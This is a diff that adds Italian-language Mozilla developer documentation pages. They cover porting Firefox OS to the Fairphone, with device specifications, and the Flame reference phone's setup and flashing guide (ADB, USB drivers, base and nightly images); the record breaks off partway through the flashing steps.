+<p><span id="result_box" lang="it"><strong><span class="hps">Fairphone</span> <span class="hps">v1 </span></strong><span class="hps"><a class="tgwf_green" href="https://www.fairphone.com/2014/12/09/our-approach-to-software-and-ongoing-support-for-the-first-fairphones/">non può aggiornare</a> il proprio</span> <span class="hps">sistema operativo Android</span> <span class="hps">personalizzato</span> <span class="hps">perché il produttore</span> <span class="hps">del chipset</span> <span class="hps">non ha rilasciato</span> il codice sorgente aggiornato o una sua compilazione<span>.</span></span></p>
+
+<p><span id="result_box" lang="it"><span class="hps">Al Mobile World Congress</span> <span class="hps">2015,</span> <span class="hps">Fairphone</span> ha aperto a <span class="hps">possibili sistemi</span> <span class="hps">operativi</span> <span class="hps">alternativi disponibili</span> <span class="hps">per l'imminente</span> <span class="hps">Fairphone</span> <span class="hps">v2</span><span>.</span> <span class="hps">A partire da queste </span><span class="hps">discussioni </span><span class="hps">è stato deciso di</span> <span class="hps">iniziare il</span> <span class="hps">lavoro</span> <span class="hps">di </span>portabilità</span><span lang="it"><span class="hps"> di</span> <span class="hps">Firefox OS</span> <span class="hps">per il</span> <span class="hps">Fairphone</span><span>.</span> <span class="hps">La </span></span><span id="result_box" lang="it">portabilità</span><span lang="it"><span class="hps"> di</span> <span class="hps">Firefox OS</span> <span class="hps">può essere un modo</span> <span class="hps">per</span> <span class="hps">salvare il</span> <span class="hps">Fairphone</span> <span class="hps">v1</span><span>,</span> <span class="hps">così come <strong>evitare</strong></span><strong> <span class="hps">tali questioni</span> <span class="hps">per le future</span> <span class="hps">generazioni</span> </strong><span class="hps"><strong>del telefono</strong>.</span> La c<span class="hps">ollaborazione</span> <span class="hps">di Mozilla</span> <span class="hps">con</span> <span class="hps">i</span> <span class="hps">tre</span> <span class="hps">principali</span> <span class="hps">fornitori di chipset</span> <span class="hps">potrebbe</span> <span class="hps">essere un'ulteriore aiuto.</span></span></p>
+
+<p><span id="result_box" lang="it"><strong><span class="hps">Fairphone</span> <span class="hps">v2</span></strong> <span class="hps">è <a href="https://www.fairphone.com/2015/09/23/opening-up-fairphone-to-the-community-open-source-fairphone-2/">orientato al codice sorgente aperto</a></span> <span class="hps">con i contributi della comunità</span> <span class="hps">al</span> <span class="hps">codice sorgente</span> <span class="hps">/</span> compilazione di <span class="hps">Fairphone</span> <span class="hps">OS</span></span><span lang="it"><span class="hps">.</span></span></p>
+
+<h3 id="L'avanzamento_e_la_soluzione">L'avanzamento<span class="short_text" id="result_box" lang="it"> <span class="hps">e la soluzione</span></span></h3>
+
+<p><span id="result_box" lang="it"><span class="hps">In questo momento</span> <span class="hps">il progetto</span> <span class="hps">di </span>portabilità</span><span lang="it"> <span class="hps">è appena agli inizi</span> <span class="atn hps">(</span><span>fase di accensione</span><span>)</span><span>.</span> <span class="hps">Ci auguriamo che il</span> <span class="hps">lavoro</span> <span class="hps">di portabilità</span> <span class="hps">possa iniziare</span> <span class="hps">presto</span> </span>— tenete d'occhio<span lang="it"> <span class="hps">questo spazio</span> <span class="hps">per ulteriori informazioni.</span></span></p>
+
+<h3 id="Contribuire"><span class="short_text" id="result_box" lang="it"><span class="hps">Contribuire</span></span></h3>
+
+<p><span id="result_box" lang="it"><span class="hps">Se siete interessati</span> <span class="hps">a saperne di più</span> <span class="hps">o a</span> <span class="hps">contribuire al lavoro</span> di portabilità<span>,</span> <span class="hps">i seguenti link</span> vi saranno utili.</span></p>
+
+<h4 id="Strumenti_del_progetto">Strumenti del progetto</h4>
+
+<ul>
+ <li><a class="tgwf_grey" href="https://wiki.mozilla.org/FirefoxOS/Fairphone">Gestione del progetto di portabilità su WikiMo</a>: Risorse essenziali per seguire i progressi della portabilità di Firefox OS nel Fairphone.</li>
+ <li><a class="tgwf_grey" href="https://bugzilla.mozilla.org/show_bug.cgi?id=1139642">Bug 1139642 su BMO</a>: <span id="result_box" lang="it"><span class="hps">Qualsiasi</span> <span class="hps">bug</span> <span class="hps">direttamente connesso con</span> <span class="hps">il porting</span> <span class="hps">di Firefox</span> <span class="hps">OS nel</span> <span class="hps">Fairphone</span> <span class="hps">sarà</span> <span class="hps">contrassegnato come bloccante </span><span class="hps">questo meta</span> <span class="hps">bug</span><span>.</span></span></li>
+ <li><a class="tgwf_grey" href="http://code.fairphone.com/">L'ambiente di sviluppo completo per il sistema operativo Fairphone per il Fairphone 2</a>: Il codice sorgente completo, inclusi tutti gli strumenti e i file binari che permettono agli utenti di compilare il proprio sistema operativo Fairphone.</li>
+ <li><span id="result_box" lang="it"><span class="hps">Pagina del progetto di </span></span><a class="tgwf_grey" href="http://forum.xda-developers.com/fairphone/help/porting-firefox-os-to-fp1-t2983959">portabilità della comunità XDA di Firefox OS nel dispositivo Fairphone</a><span id="result_box" lang="it"><span>:</span> <span class="hps">Il progresso tecnico</span> <span class="hps">sul</span>la portabilità<span>.</span></span></li>
+</ul>
+
+<h4 id="Firefox_OS">Firefox OS</h4>
+
+<p><span id="result_box" lang="it"><span class="hps">Se</span> <span class="hps">siete degli sviluppatori per la portabilità</span> <span class="hps">e</span> <span class="hps">volete saperne di più a proposito di</span><span class="hps"> Firefox</span> <span class="hps">OS</span><span>:</span></span></p>
+
+<ul>
+ <li><a href="/en-US/Firefox_OS/Platform">Piattaforma</a>: Un'anteprima dell'architettura della piattaforma Firefox OS, inclusi i componenti <a href="/en-US/Firefox_OS/Platform/Gaia">Gaia</a>, <a href="/en-US/docs/Mozilla/Gecko">Gecko</a> e <a href="/en-US/Firefox_OS/Platform/Gonk">Gonk</a>.</li>
+ <li><a href="/en-US/Firefox_OS/Developing_Firefox_OS/Porting">Portabilità di Firefox OS</a>: Una guida base su come eseguire la <span id="result_box" lang="it">portabilità</span> del sistema operativo su nuovi dispositivi.</li>
+ <li><a href="/en-US/Firefox_OS/Building_and_installing_Firefox_OS">Compilazione e installazione di Firefox OS</a>: Informazioni su come creare la propria compilazione di Firefox OS e installarla su un dispositivo.</li>
+ <li><a href="/en-US/Firefox_OS/Developing_Firefox_OS">Sviluppare Firefox OS</a>: Per aiutare lo sviluppo delle aree di basso livello della piattaforma.</li>
+</ul>
+
+<h4 id="Comunità_XDA">Comunità XDA</h4>
+
+<p><span id="result_box" lang="it"><span class="hps">Se</span> <span class="hps">siete degli sviluppatori di Firefox OS</span> <span class="hps">e</span> <span class="hps">volete saperne di più</span> <span class="hps">a proposito della portabilità</span> </span><span lang="it"><span class="hps">di un sistema operativo</span><span>:</span></span></p>
+
+<ul>
+ <li>Per un riferimento rapido, consultare questo<a href="https://dietrich.makes.org/thimble/LTIxMTM3MzIwOTY=/firefox-os-ports-on-xda-developers"> sommario dei vari forum su Firefox OS e della portabilità degli sviluppatori XDA</a></li>
+ <li><a href="http://forum.xda-developers.com/firefox-os/general">Comunità Firefox OS XDA</a></li>
+ <li><a href="http://forum.xda-developers.com/fairphone">Comunità Fairphone forum XDA</a></li>
+ <li><a href="http://forum.xda-developers.com/wiki/Fairphone">Pagina wiki Fairphone XDA</a></li>
+ <li><a href="http://forum.xda-developers.com/showthread.php?t=2362172">Thread Fairphone XDA</a></li>
+</ul>
+
+<h2 id="Caratteristiche_dispositivo">Caratteristiche dispositivo</h2>
+
+<h3 id="Fairphone_v1">Fairphone v1</h3>
+
+<p><span id="result_box" lang="it"><span class="hps">Potete trovare</span> <span class="hps">un elenco dettagliato</span> <span class="hps">delle specifiche</span> <span class="hps">sulla</span></span> <a class="tgwf_grey" href="https://fairphone.zendesk.com/hc/en-us/articles/201064718-What-are-the-technical-specifications-of-the-Fairphone-1-">pagina delle specifiche di Fairphone</a>.</p>
+
+<h4 id="Rete">Rete</h4>
+
+<ul>
+ <li><strong>2G/GSM</strong>: 850/900/1800/1900MHz</li>
+ <li><strong>3G/WCDMA</strong>: 900/2100MHz</li>
+ <li><strong>Wifi:</strong> 2.4GHz 802.11b/g/n</li>
+ <li><strong>Bluetooth:</strong> v2.1 + EDR / v3.0 + HS</li>
+ <li><strong>Valori SAR</strong>: Testa: 0.329 W/kg; Corpo: 0.693 W/kg</li>
+</ul>
+
+<h4 id="Hardware">Hardware</h4>
+
+<ul>
+ <li><strong>Mediatek MT6589M (prima edizione) / MT6589 @ 1.2 Ghz (secondo lotto) Chipset</strong>: Quad-core CPU con riproduzione e registrazione di video in full HD</li>
+ <li><strong>Telecamera anteriore</strong>: 1.3 MP per foto e video chiamata</li>
+ <li><strong>Telecamera posteriore</strong>: 8MP AF (sensore immagine e stabilizzazione) per foto e video chiamata</li>
+ <li><strong>Schermo</strong>: 4.3 pollici qHD IPS (960x540 pixels) (256 ppi); Schermo tattile capacitivo</li>
+ <li><strong>16 GB memoria interna</strong> + 1GB di RAM</li>
+ <li><strong>MicroSD</strong>: Fino a 64 GB di memoria addizionale</li>
+ <li><strong>Jack auricolare</strong>: <span class="short_text" id="result_box" lang="it"><span class="hps">Da una varietà di</span> <span class="hps">formati</span></span></li>
+ <li><strong>A-GPS</strong>, con Bussola e Giroscopio</li>
+ <li><strong>Doppia SIM</strong>: Una SIM: 3G; una SIM: 2G. Formato standard schede miniSIM</li>
+ <li><strong>Porte dati e alimentazione</strong>: MicroUSB 2.0 standard, Tipo B; USB 2.0</li>
+ <li><strong>Batteria:</strong> 2000mAh (batteria sostituibile)</li>
+</ul>
+
+<h4 id="Software">Software</h4>
+
+<ul>
+ <li><strong>Basato sul sistema operativo Android (4.2 Jelly Bean)</strong>: Con un'interfaccia speciale di Fairphone</li>
+ <li><strong>Accesso root</strong>: Accesso root immediato</li>
+</ul>
+
+<h3 id="Fairphone_v2">Fairphone v2</h3>
+
+<p><span id="result_box" lang="it"><span class="hps">Potete trovare</span> <span class="hps">un elenco dettagliato</span> <span class="hps">delle specifiche</span> <span class="hps">sulla</span></span> <a class="tgwf_grey" href="https://fairphone.zendesk.com/hc/en-us/articles/203478389-What-technical-specifications-does-the-Fairphone-2-have-">pagina delle specifiche Fairphone</a>.</p>
+
+<h4 id="Rete_2">Rete</h4>
+
+<ul>
+ <li><strong>2G/GSM</strong>: 850/900/1800/1900MHz</li>
+ <li><strong>3G/WCDMA</strong>: 900/2100MHz</li>
+ <li><strong>4G LTE: </strong>900/1900/2100MHz Cat. 4 150 Mbps download — Cat. 4 50 Mbps upload</li>
+ <li><strong>Wifi:</strong> 2.4GHz 802.11b/g/n/ac fino a 433 Mbps</li>
+ <li><strong>Bluetooth:</strong> v4.0 LE</li>
+ <li><strong>Valori SAR</strong>: Testa: 0.288 W/kg; Corpo: 0.426 W/kg</li>
+</ul>
+
+<h4 id="Hardware_2">Hardware</h4>
+
+<ul>
+ <li><strong>Qualcomm MSM8974AB</strong> <strong>@ 2.26 Ghz Chipset</strong>: Quad-core CPU Krait 400 con Qualcomm Adreno 330 GPU con riproduzione e registrazione di video in full HD</li>
+ <li><strong>Telecamera anteriore</strong>: 2 MP Omnivision OV2685 per foto e video chiamata</li>
+ <li><strong>Telecamera posteriore</strong>: 8MP AF Omnivision OV8865 (sensore immagine e stabilizzazione) per foto e video chiamata</li>
+ <li><strong>Schermo</strong>: 5 pollici Full HD (Gorilla Glass 3 — spessore 0.7mm) LCD TFT/IPS (446 ppi); Schermo tattile capacitivo</li>
+ <li><strong>32 GB memoria interna eMMC5</strong> + 2GB di RAM LPDDR3</li>
+ <li><strong>MicroSD</strong>: SDHC, SDXC, UHS fino a 64 GB di memoria addizionale</li>
+ <li><strong>Jack auricolare</strong>: <span class="short_text" id="result_box" lang="it"><span class="hps">Da una varietà di</span> <span class="hps">formati</span></span>; standard CTIA</li>
+ <li><strong>A-GPS</strong>, con Bussola e Giroscopio</li>
+ <li><strong>Doppia SIM</strong>: Doppia-SIM Micro-SIM (3FF), Doppio-Standby (DSDS)</li>
+ <li><strong>Porte dati e alimentazione</strong>: MicroUSB 2.0 standard con supporto OTG</li>
+ <li><strong>Batteria:</strong> 2420mAh (batteria sostituibile)</li>
+</ul>
+
+<h4 id="Software_2">Software</h4>
+
+<ul>
+ <li><strong>Basato sul sistema operativo Android (5.1 Lollipop)</strong>: Con un'interfaccia speciale di Fairphone</li>
+ <li><strong>Accesso root</strong>: Nessun accesso root</li>
+</ul>
+
+<h2 id="Vedere_anche">Vedere anche</h2>
+
+<ul>
+ <li><a class="tgwf_green" href="https://www.fairphone.com/roadmap/">Roadmap Fairphone</a></li>
+ <li>Guida di auto riparazione su <a class="tgwf_grey" href="https://www.ifixit.com/Device/Fairphone">iFixit </a>e sul sito web di <a class="tgwf_green" href="https://www.fairphone.com/support">supporto di Fairphone</a></li>
+ <li><a class="tgwf_grey" href="https://autonome.wordpress.com/2013/01/15/firefox-os-devices-and-dark-matter/">Lista di portabilità di Firefox OS negli altri dispositivi</a> — <span id="result_box" lang="it"><span class="hps">potrebbe essere</span> <span class="hps">una fonte di</span> <span class="hps">ispirazione</span> <span class="hps">per</span> <span class="hps">trovare o</span> <span class="hps">trasporre</span> <span class="hps">soluzioni</span></span></li>
+ <li><a href="/en-US/docs/Mozilla/Firefox_OS/Phone_guide/Orange_Klif">Pagina web MDN del dispositivo Orange Klif</a> — Questo è il primo smartphone Firefox OS funzionante che utilizza lo stesso chipset MediaTech del Fairphone v1</li>
+ <li><a class="tgwf_grey" href="https://github.com/Kwamecorp/Fairphone">Sistema operativo Fairphone v1</a> codice sorgente sulla pagina Github di <a class="tgwf_grey" href="http://www.kwamecorp.com/">kwamecorp</a></li>
+ <li>
+  <p><a class="tgwf_grey" href="https://fairphone.zendesk.com/hc/en-us/articles/201576803-Fairphone-FP1-Source-Code-Packages">Pacchetti del codice sorgente di Fairphone v1</a> sul sito web Fairphone</p>
+ </li>
+</ul>
diff --git a/files/it/archive/b2g_os/phone_guide/flame/index.html b/files/it/archive/b2g_os/phone_guide/flame/index.html
new file mode 100644
index 0000000000..07a18504c5
--- /dev/null
+++ b/files/it/archive/b2g_os/phone_guide/flame/index.html
@@ -0,0 +1,323 @@
+---
+title: Flame
+slug: Archive/B2G_OS/Phone_guide/Flame
+translation_of: Archive/B2G_OS/Phone_guide/Flame
+---
+<p> </p>
+
+<div class="note">
+<p><strong>Aggiornamenti sul tuo Flame</strong>: ti incoraggiamo a iscriverti alla maililng list per ricevere aggiornamenti periodici sulle nuove versioni del software e altre notizie riguardo il tuo dispositivo Flame: <a href="https://mail.mozilla.org/listinfo/flamenews">https://mail.mozilla.org/listinfo/flamenews</a></p>
+</div>
+
+<p><img alt="A picture of the Flame device, showing the Firefox OS homescreen containing several app icons." src="https://mdn.mozillademos.org/files/8373/flame-dev-hud.png" style="float: left; margin-bottom: 20px; margin-right: 50px; width: 25%;"></p>
+
+<h2 id="Disponibile_per_l'ordine" style="text-indent: 100%; white-space: nowrap; overflow: hidden; margin: 0; height: 0;">Disponibile per l'ordine</h2>
+
+<p><span class="seoSummary">Il telefono di riferimento per gli sviluppatori, il Flame, è una pietra miliare nel rilascio di dispositivi Firefox OS. L'hardware del Flame offre un insieme rappresentativo di specifiche, incluso un display FWVGA e un processore dual-core per aiutare gli sviluppatori a creare fantastici contenuti ed esperienze. Una singola piattaforma hardware è anche una buona cosa per i tester, rendendo semplice provare e indirizzare problemi software specifici senza doversi preoccupare dei bug di un determinato dispositivo o di altro.</span></p>
+
+<p style="">Se già possiedi il telefono e vuoi cominciare a sperimentare, sviluppare e distribuire app o contribuire alla piattaforma Firefox, i seguenti link sono utili per iniziare a muovere i primi passi:</p>
+
+<ul>
+ <li><a href="/docs/Firefox_OS">Zona Firefox OS</a>: per creare le proprie distribuzioni di Firefox OS e contribuire ai progetti B2G e Gaia.</li>
+ <li><a href="/docs/Apps">Zona App Center</a>: per sviluppare app web open compatibili con Firefox OS.</li>
+ <li><a href="/Marketplace">Zona Marketplace</a>: per informazioni sulla pubblicazione e distribuzione delle app.</li>
+ <li><a href="https://marketplace.firefox.com/">Firefox Marketplace</a>: la fonte migliore per scoprire e pubblicare nuove app per Firefox OS.</li>
+</ul>
+
+<p style="">Se cerchi ulteriori informazioni riguardo all'aggiornamento del sistema operativo, al ripristino, al caricamento delle app o alle specifiche del telefono, qui troverai tutte le informazioni necessarie.</p>
+
+<h2 id="Acquistare_il_dispositivo">Acquistare il dispositivo</h2>
+
+<p>Il nostro partner per la realizzazione dei dispositivi ha reso il telefono <a href="http://www.everbuying.com/product549652.html">disponibile per l'ordine</a> sul sito everbuying.com al prezzo di 170 US$, spese di spedizione in tutto il mondo incluse (il dispositivo costa 145 $, la spedizione 25 $ e potrebbero essere addebitate tasse doganali, a seconda della destinazione). Il dispositivo non ha blocchi nel bootloader né per quanto riguarda gli operatori. Utilizza una radio quadri-band GSM+UMTS funzionante con una vasta gamma di operatori.</p>
+
+<h2 id="Operazioni_preliminari_importanti">Operazioni preliminari importanti</h2>
+
+<p>Ci sono alcune operazioni da eseguire a seconda del sistema operativo che utilizzi prima di aggiornare il tuo dispositivo, per esempio per aggiornare la versione di Firefox OS presente nel Flame o inviare app al proprio telefono (entrambe le operazioni sono discusse più avanti).</p>
+
+<h3 id="Tutti_i_sistemi_operativi">Tutti i sistemi operativi</h3>
+
+<p>È necessario installare ADB e Fastboot sul proprio computer. Queste applicazioni permettono al computer di interagire con il telefono quando quest'ultimo è connesso con il cavo USB. Sono necessarie per installare una nuova versione di Firefox OS sul telefono, per ripristinarlo nel caso si blocchi, per caricare app sul telefono ecc.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: se utilizzi Ubuntu puoi installare ADB e Fastboot semplicemente usando i comandi <code>sudo apt-get install android-tools-adb android-tools-fastboot</code> in un terminale.</p>
+</div>
+
+<p>ADB e Fastboot sono disponibili nell'<a class="external external-icon" href="http://developer.android.com/sdk/index.html" title="Android Developer Tookit">Android Developer Toolkit</a>:</p>
+
+<ol>
+ <li>Visita il link</li>
+ <li>Fai clic sul pulsante <em>Download Eclipse ADT</em></li>
+ <li>Accetta i termini della licenza</li>
+ <li>Scegli tra la versione a 32 o 64 bit (la versione a 32 bit andrà bene se non sei sicuro)</li>
+ <li>Fai clic sul pulsante <em>Download Eclipse ADT with the Android SDK...</em> .</li>
+ <li>Quando il download è terminato, estrai i contenuti del file zip sul tuo desktop</li>
+ <li>Visto che il nome della cartella è abbastanza complicato, puoi cambiare il nome semplicemente in <em>adt</em></li>
+</ol>
+
+<p>ADB è uno strumento che va eseguito dalla riga di comando. Se apri un terminale o prompt dei comandi, ti posizioni nella cartella adt/sdk/platform-tools ed esegui il comando <code>adb</code>, dovresti vedere varie informazioni riguardo a quello che puoi fare con ADB. Eseguire <code>adb devices</code> dovrebbe mostrarti la riga <code>List of devices attached</code>, e nient'altro, poiché non hai ancora collegato alcun dispositivo.</p>
+
+<p>A questo punto, è necessario impostare la variabile PATH per puntare allo strumento ADB, così da poterlo eseguire ovunque, non solo quando ti trovi nella cartella che lo contiene. Per farlo:</p>
+
+<ul>
+ <li>In Windows 8 (Windows 7 funziona in maniera simile, ma con voci di menu leggermente differenti):</li>
+ <li>fai clic col tasto destro sul pulsante Windows in basso a sinistra e seleziona Pannello di Controllo &gt; Sistema e Sicurezza &gt; Sistema &gt; Impostazioni avanzate &gt; Variabili d'ambiente.</li>
+ <li>Nella lista <em>Variabili di sistema</em> trova quella che si chiama Path, selezionala e fai clic su <em>Modifica...</em></li>
+ <li>Nel campo Valore della variabile della finestra che si è appena aperta, posizionati alla fine della stringa già presente, inserisci un punto e virgola (;) seguito dalla cartella in cui hai estratto adb, che dovrebbe essere <em>C:\Users\[IL TUO NOME UTENTE]\Desktop\adt\sdk\platform-tools</em>.</li>
+ <li>Quindi, se il tuo nome utente è jamessmith, dovresti inserire ;<em>C:\Users\jamessmith\Desktop\adt\sdk\platform-tools</em>.</li>
+ <li>Fai cilck su OK su tutte le finestre che hai aperto fin'ora.</li>
+ <li>Chiudi il prompt dei comandi, aprine uno nuovo e verifica che tutto funzioni correttamente digitando il comando <code>adb devices</code>. Se ottieni il messaggio <code>List of devices attached</code>, l'operazione si è conclusa correttamente!</li>
+</ul>
+
+<p>Su Mac/Linux:</p>
+
+<ul>
+ <li>NelFinder, vai nella tua cartella home (quella con l'icona a forma di casa)</li>
+ <li>Se non visualizzi già i file nascosti (ovvero quelli il cui nome inizia con un punto (.)) apri il terminale e digita il comando <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, poi riavvia Finder</li>
+ <li>Apri il file .bash_profile oppure .bashrc con un editor di testo come Text Wrangler o Sublime Text (dev'essere un editor di testo, non un programma di videoscrittura)</li>
+ <li>Nel file aggiungi la riga PATH=/Users/[IL TUO NOME UTENTE]/Desktop/adt/sdk/platform-tools:$PATH (inserire il proprio nome utente al posto di "chrismills")</li>
+ <li>Salva e chiudi il file</li>
+ <li>Riavvia il terminale ed effettua un test scrivendo <code>adb devices</code>. Se visualizzi il messaggio <code>List of devices attached</code>, l'operazione si è conclusa correttamente!</li>
+</ul>
+
+<h3 id="Linux_Mac">Linux &amp; Mac</h3>
+
+<p>Se stai usando un sistema Linux o Mac non sono necessarie ulteriori operazioni anche se, a seconda della distribuzione Linux che utilizzi, potresti dover <a href="https://developer.mozilla.org/en-US/Firefox_OS/Firefox_OS_build_prerequisites#For_Linux.3A_configure_the_udev_rule_for_your_phone">aggiungere una regola udev</a> per il telefono, con una configurazione simile a questa:</p>
+
+<pre class="language-html">SUBSYSTEM=="usb", ATTRS{idVendor}=="05c6", ATTRS{idProduct}=="9025", GROUP="users", MODE="0666"</pre>
+
+<p>Assicurati di ricaricare le regole con <code>--reload-rules</code>, poi stacca e riattacca il dispositivo prima di procedere.</p>
+
+<h3 id="Windows">Windows</h3>
+
+<p>Per inviare le app al telefono utilizzando <a href="/it/Firefox_OS/Using_the_App_Manager">AppManager</a> o <a href="/it/Firefox_OS/Debugging/Installing_ADB">ADB</a> avrai bisogno di installare un driver per consentire la comunicazione via USB. Segui le istruzioni seguenti per installarli.</p>
+
+<h4 id="Scaricare_il_driver">Scaricare il driver</h4>
+
+<p>Scarica da <a href="http://cds.w5v8t3u9.hwcdn.net/Alcatel_USB_Driver_Q_4.0.0_2013_11_11_noinstall.zip">qui</a> il driver per Windows. Quando l'avrai scaricato estrai il contenuto del file ZIP in una cartella del tuo hard drive.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: l'Android Debug Bridge (<a href="/it/Firefox_OS/Debugging/Installing_ADB">ADB</a>) deve essere già installato.</p>
+</div>
+
+<h4 id="Installare_il_driver_USB">Installare il driver USB</h4>
+
+<p>A questo punto connetti il tuo Flame al computer utilizzando un cavo USB.</p>
+
+<p>Per installare il driver apri la cartella <code>Alcatel_USB_Driver_Q_4.0.0_2013_11_11_noinstall</code> all'interno della cartella nella quale hai estratto il file ZIP e fai doppio clic sull'eseguibile <code>DriverInstaller.exe</code> . Potresti ricevere un avvertimento che ti informa che l'eseguibile proviene da un autore sconosciuto. Se accade fai clic sul pulsante <em>Sì</em> e l'eseguibile verrà avviato.</p>
+
+<p><img alt="Simple dialog box showing a picture of a phone along with install and uninstall buttons." src="https://mdn.mozillademos.org/files/8079/driver-install.png" style="display: block; height: 523px; margin: 0px auto; width: 358px;"></p>
+
+<p>Fai clic sul pulsante <em>Install </em>per installare il driver.</p>
+
+<p>Dopo che il driver è stato installato puoi verificare che funzioni aprendo una riga di comando su Windows e digitando <code>adb devices</code> . Questo dovrebbe fornire un elenco di dispositivi connessi simile a:</p>
+
+<pre class="language-html">List of devices attached
+3561d02a          device</pre>
+
+<p>Se il tuo dispositivo non viene visualizzato, controlla la Gestione Dispositivi di Windows. Il tuo Flame potrebbe essere indicato come "ACER ADB Interface". Puoi confermarlo scollegando e ricollegando il dispositivo e verificando che scompaia dalla gestione dispositivi. Disinstalla il driver facendo clic col tasto destro del mouse su "ACER ADB Interface" e facendo poi clic su Disinstalla. Poi esegui nuovamente l'installazione come sopra. È consigliabile impostare il conto alla rovescia per lo spegnimento dello schermo del Flame ad un valore alto (su Impostazioni &gt; Schermo &gt; Blocca schermo dopo) poiché pare che Windows disinstalli e reinstalli il driver di default quando lo schermo si spegne.</p>
+
+<h2 id="Aggiornare_il_software_del_tuo_Flame">Aggiornare il software del tuo Flame</h2>
+
+<p>Saranno disponibili due "canali" principali per le versioni di Firefox OS rilasciate per il Flame:</p>
+
+<ul>
+ <li>Il primo è il nostro canale di rilascio. Il Flame viene fornito con questo canale pre-installato e riceverà gli aggiornamenti via Internet per le versioni successive del sistema operativo, vale a dire che si aggiornerà dalla versione 1.3 alla 1.4, alla 2.0 alla 2.1 ecc.</li>
+ <li>Il secondo è il canale nightly. Sul Flame è possibile installare manualmente questo canale e, dopo l'installazione iniziale, si riceveranno aggiornamenti via Internet quotidianamente o quasi.</li>
+</ul>
+
+<p>Puoi scaricare i file e gli strumenti di ripristino ai seguenti link:</p>
+
+<ul>
+ <li><a href="http://cds.w5v8t3u9.hwcdn.net/Flame_2.0_v180_1.zip">Base image v180.zip</a>: un archivio contenente le immagini base di Firefox OS 2.0 per il Flame. Per installarle è sufficiente decomprimere il file e avviare lo script (./flash.sh).</li>
+</ul>
+
+<p>Per installare l'immagine di base sul tuo dispositivo:</p>
+
+<ol>
+ <li>Assicurati che l'opzione di debug remoto sia attivata sul tuo Flame, utilizzando l'opzione <em>Debug Remoto/Debug via USB</em> nelle Impostazioni di sviluppo del tuo dispositivo (l'opzione potrebbe chiamarsi in modo diverso a seconda che tu abbia installato una versione pari o inferiore alla 1.3 o pari o superiore alla 1.4).</li>
+ <li>Collega il Flame al tuo computer attraverso il cavo USB. Verifica che il computer sia connesso al dispositivo eseguendo il comando <code>adb devices</code> in un terminale.</li>
+ <li>Scarica ed estrai il software appropriato per il tuo sistema (il file <code>.zip</code> se utilizzi Mac o Linux, oppure il <code>.exe</code> se utilizzi Windows).</li>
+ <li>Entra nella directory in cui hai estratto il software ed eseguilo:
+  <ul style="margin-left: 40px;">
+   <li>In Windows, entra nella directory tramite il prompt dei comandi, poi avvia lo script <code>flash.bat</code> (o fai doppio clic sul file).<br>
+    NOTA: Se il file non fosse presente, puoi rinominare il file <code>flash.sh</code> in <code>file.bat </code>e usare quello.</li>
+   <li>In Linux / OSX, utilizza il terminale per entrare nella directory, poi esegui lo script flash.sh utilizzando il comando <code>sudo ./flash.sh</code> (se non lo avvii utilizzando <code>sudo</code>, lo script potrebbe non riconoscere il telefono e non funzionare).</li>
+  </ul>
+ </li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: ti incoraggiamo, inoltre, a compilare da te Firefox OS per installarlo sul tuo Flame. Vedi l'articolo <a href="/it/Firefox_OS/Building_and_installing_Firefox_OS">Compilare e installare Firefox OS</a>.</p>
+</div>
+
+<h3 id="Aggiornare_il_Flame_ad_una_versione_nightly">Aggiornare il Flame ad una versione nightly</h3>
+
+<div class="note">
+<p><strong>Nota</strong>: al momento le versioni di sviluppo Nightly di Firefox OS non supportano l'A-GPS. Questo potrebbe causare problemi di performance delle funzionalità GPS. Contiamo di risolvere il problema con un aggiornamento futuro sul canale Nightly.</p>
+</div>
+
+<ol>
+ <li>Prima di aggiornare il tuo telefono alla versione nightly dovresti installare l'ultima immagine di base per assicurarti che il sistema sottostante sia aggiornato. Puoi scaricare un'immagine di base tramite i collegamenti qui sopra.</li>
+ <li>Poiché i passi descritti sopra installano una nuova versione del sistema operativo, dovrai abilitare nuovamente il debug remoto sul Flame, usando l'opzione Debug remoto nelle <a href="https://developer.mozilla.org/en-US/Firefox_OS/Debugging/Developer_settings">opzioni Sviluppo</a>.</li>
+ <li>Scegli la versione Nightly che vuoi installare. Puoi trovarne varie all'indirizzo <a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/">http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/</a>. Probabilmente quella che ti interessa è una tra:
+  <ul style="margin-left: 40px;">
+   <li>Versioni di produzione (includono le varie lingue)
+    <ul>
+     <li><a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central-flame-kk/">Ultima versione master</a> (al momento 2.2)</li>
+     <li><a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-aurora-flame-kk/">Ultima versione Aurora</a> (al momento 2.1)</li>
+     <li><a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-b2g32_v2_0-flame-kk/">Ultima versione di rilascio</a> (al momento 2.0)</li>
+    </ul>
+   </li>
+   <li>Versioni di sviluppo (includono app di prova e solo le pseudo-lingue)
+    <ul>
+     <li><a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-central-flame-kk-eng/">Ultima versione master</a> (al momento 2.2)</li>
+     <li><a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-aurora-flame-kk-eng/">Ultima versione Aurora</a> (al momento 2.1)</li>
+     <li><a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/latest-mozilla-b2g30_v1_4-flame/">Ultima versione di rilascio </a>(al momento 2.0)</li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>Scegli una versione e scarica sia il file <code>b2g-XX.XX.en-US.android-arm.tar.gz</code> che <code>gaia.zip</code>.</li>
+ <li>Scarica il <a href="https://github.com/Mozilla-TWQA/B2G-flash-tool/blob/master/shallow_flash.sh">shallow flash script</a> e salvalo in una directory appropriata (ad esempio la stessa directory dove hai salvato i due file scaricati prima).</li>
+ <li>Installa le immagini sul telefono col seguente comando:
+  <h4 id="Mac" style="line-height: 24px;">Mac</h4>
+
+  <pre class="brush: bash">./shallow_flash.sh -g /path/to/gaia.zip -G /path/to/b2g-XX.XX.en-US.android-arm.tar.gz</pre>
+
+  <h4 id="Linux" style="line-height: 24px;">Linux</h4>
+
+  <pre class="brush: bash">./shallow_flash.sh -ggaia.zip -Gb2g-XX.XX.en-US.android-arm.tar.gz</pre>
+
